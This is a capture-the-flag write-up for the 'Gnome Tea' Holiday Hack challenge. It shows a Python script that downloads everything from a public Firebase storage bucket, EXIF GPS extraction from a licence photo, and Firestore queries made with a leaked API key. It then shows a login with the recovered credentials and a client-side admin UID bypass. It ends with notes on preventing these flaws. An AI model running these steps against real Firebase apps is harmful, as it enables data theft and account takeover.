Skip to content

Gnome Tea⚓︎

Gnome_Tea

Difficulty:
Direct link: Gnome Tea
Area: Apartment building near 24-7
In-game avatar: Thomas Bouve

Hints⚓︎

Statically Coded

Hopefully they did not rely on hard-coded client-side controls to validate admin access once a user validly logs in. If so, it might be pretty easy to change some variable in the developer console to bypass these controls.

Gnome Tea

I heard rumors that the new GnomeTea app is where all the Gnomes spill the tea on each other. It uses Firebase which means there is a client side config the app uses to connect to all the firebase services

Rules

Hopefully they setup their firestore and bucket security rules properly to prevent anyone from reading them easily with curl. There might be sensitive details leaked in messages.

License

Exif jpeg image data can often contain data like the latitude and longitude of where the picture was taken.

Objective⚓︎

Request

Enter the apartment building near 24-7 and help Thomas infiltrate the GnomeTea social network and discover the secret agent passphrase.

Thomas Bouve

Hi again. Say, you wouldn't happen to have time to help me out with something?

The gnomes have been oddly suspicious and whispering to each other. In fact, I could've sworn I heard them use some sort of secret phrase. When I laughed right next to one, it said "passphrase denied". I asked what that was all about but it just giggled and ran away.

I know they've been using GnomeTea to "spill the tea" on one another, but I can't sign up 'cause I'm obviously not a gnome. I could sure use your expertise to infiltrate this app and figure out what their secret passphrase is.

I've tried a few things already, but as usual the whole... Uh, what's the word I'm looking for here? Oh right, "endeavor", ended up with the rest of my unfinished projects.

High-Level Steps⚓︎

  1. Discover – Identify exposed Firebase configuration and resources.
  2. Investigate – Extract metadata and leaked data to recover credentials.
  3. Bypass – Override client-side controls to access admin content.
%%{init: {"themeVariables": {
  "fontSize": "22px",
  "nodeTextSize": "18px",
  "clusterTextSize": "22px"
}}}%%
flowchart TD

  subgraph Row1["Discover"]
    direction LR
    A[Inspect client-side JS]
    B[Identify Firebase config]
    A --> B
  end

  subgraph Row2["Investigate"]
    direction LR
    C[Enumerate storage bucket]
    D[Extract EXIF metadata]
    E[Identify user credentials]
    C --> D --> E
  end

  subgraph Row3["Bypass"]
    direction LR
    F[Locate admin UID in JS]
    G[Set admin UID in browser]
    H[Access admin page]
    I[Reveal passphrase]
    J[Objective completed]
    F --> G --> H --> I --> J
  end

  Row1 --> Row2
  Row2 --> Row3

Solution⚓︎

The login page of the app references the below index-BVLyJWJ_.js file.
This JS file has hard coded values.

    apiKey: "AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk",
    authDomain: "holidayhack2025.firebaseapp.com",
    projectId: "holidayhack2025",
    storageBucket: "holidayhack2025.firebasestorage.app",
    messagingSenderId: "341227752777",
    appId: "1:341227752777:web:7b9017d3d2d83ccf481e98"
Gnome_Tea

Wrote the below download_files.py to download all the files in the stogare bucket.
Its all jpeg(driver licence) and png files(photos) of the gnomes.

??? download_files.py

download_files.py
    import requests
    import os

    bucket = 'holidayhack2025.firebasestorage.app'
    file_path = 'tea'  # Firebase path to file
    file_path_encoded = file_path.replace('/', '%2F')

    url = f'https://firebasestorage.googleapis.com/v0/b/{bucket}/o'

    # Create folder to save downloads
    os.makedirs('downloads', exist_ok=True)

    # List all files
    response = requests.get(url)

    if response.status_code == 200:
        data = response.json()
        items = data.get('items', [])

        for item in items:
            name = item['name']
            name_encoded = name.replace('/', '%2F')  # URL encode
            download_url = f'https://firebasestorage.googleapis.com/v0/b/{bucket}/o/{name_encoded}?alt=media'

            print(f'Downloading: {name}')
            file_response = requests.get(download_url)

            if file_response.status_code == 200:
                with open(os.path.join('downloads', os.path.basename(name)), 'wb') as f:
                    f.write(file_response.content)
            else:
                print(f"Failed to download {name}: {file_response.status_code}")
    else:
        print("Bucket is not public or listing not allowed:", response.status_code)

Gnome_Tea
from the hint

hint about exif

Exif jpeg image data can often contain data like the latitude and longitude of where the picture was taken.

Looking for latitude and longitude in teh jpeg files. l7VS01K9GKV5ir5S8suDcwOFEpp2_drivers_license.jpeg has the location data Gnome_Tea

This belongs to Barnanby Briefcase.

Gnome_Tea

Per the hint the jpeg file might contain the location data. Using exiftool and we get the location data.

exiftool *.jpeg | grep GPS
We use a GPS website to get location with latitude and longitude.
[https://www.gps-coordinates.net/] ("https://www.gps-coordinates.net/")
Gnome_Tea

A location in Australia named Gnomesville. Google Maps link

Get the data⚓︎

dms

https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/dms?key=AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk > dms.json

tea

https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/tea?key=AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk > tea.json

gnomes

https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/tea?key=AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk > gnomes.json

Looking at the dms.json looking for "pass"

Hint about the password

My password is actually the name of my hometown that I grew up in.
I took my picture of my id there

Gnome_Tea

Since the location data was found in the Barnanby Briefcase's id, It has to be his password based on the above. Now we need to look for his email address.

cat gnomes.json | grep email
The email of Barnanby is :
barnabybriefcase@gnomemail.dosis
Gnome_Tea

Website : https://gnometea.web.app/
UserName : barnabybriefcase@gnomemail.dosis
Password : gnomesville

and we are in.
Gnome_Tea

Now looking for the secret passphrase which gnomes use to communicate with each other. It can not be user specific.

There is a reference of /admin in the :
https://gnometea.web.app/assets/index-BVLyJWJ_.js

When we try to go there :
https://gnometea.web.app/admin We get the below with a label

window.ADMIN_UID: not set

Gnome_Tea

When we inspect the below file
https://gnometea.web.app/assets/index-BVLyJWJ_.js

We notice ADMIN_UID is expected to have a value:

3loaihgxP0VwCTKmkHHFLe6FZ4m2
Gnome_Tea

We set that in the browser console.
Gnome_Tea

window_ADMIN_UID="3loaihgxP0VwCTKmkHHFLe6FZ4m2"

Admin page loads showing the secret passphrase:

GigGigglesGiggler
Gnome_Tea

We submit that as the answer and that is accepted.
Gnome_Tea

Answer

GigGigglesGiggler

Response⚓︎

Thomas Bouve

Excellent! Now we can communicate with the gnomes. When I tried to talk to one just now it said "passphrase accepted".

I asked what they were up to and it said something about going to the old warehouse/data center at the appointed time for the next meeting. No clue what that means though.

Anyhoo, that's a pretty big item you helped remove from my pile of unfinished hacking projects. I really appreciate the assist!

Learnings⚓︎

  1. Always look for sensitive configs/secrets in the JS files.
  2. A publicly listable Firebase bucket, permissive Firestore rules, and exposed EXIF metadata together turned small leaks into full account compromise.

Prevention & Hardening Notes⚓︎

  1. Enforce authorization exclusively on the server side.
  2. Lock down Firebase resources by default. Disable public bucket listing, restrict Firestore reads, and strip EXIF metadata from uploaded images to avoid unintentional data leakage.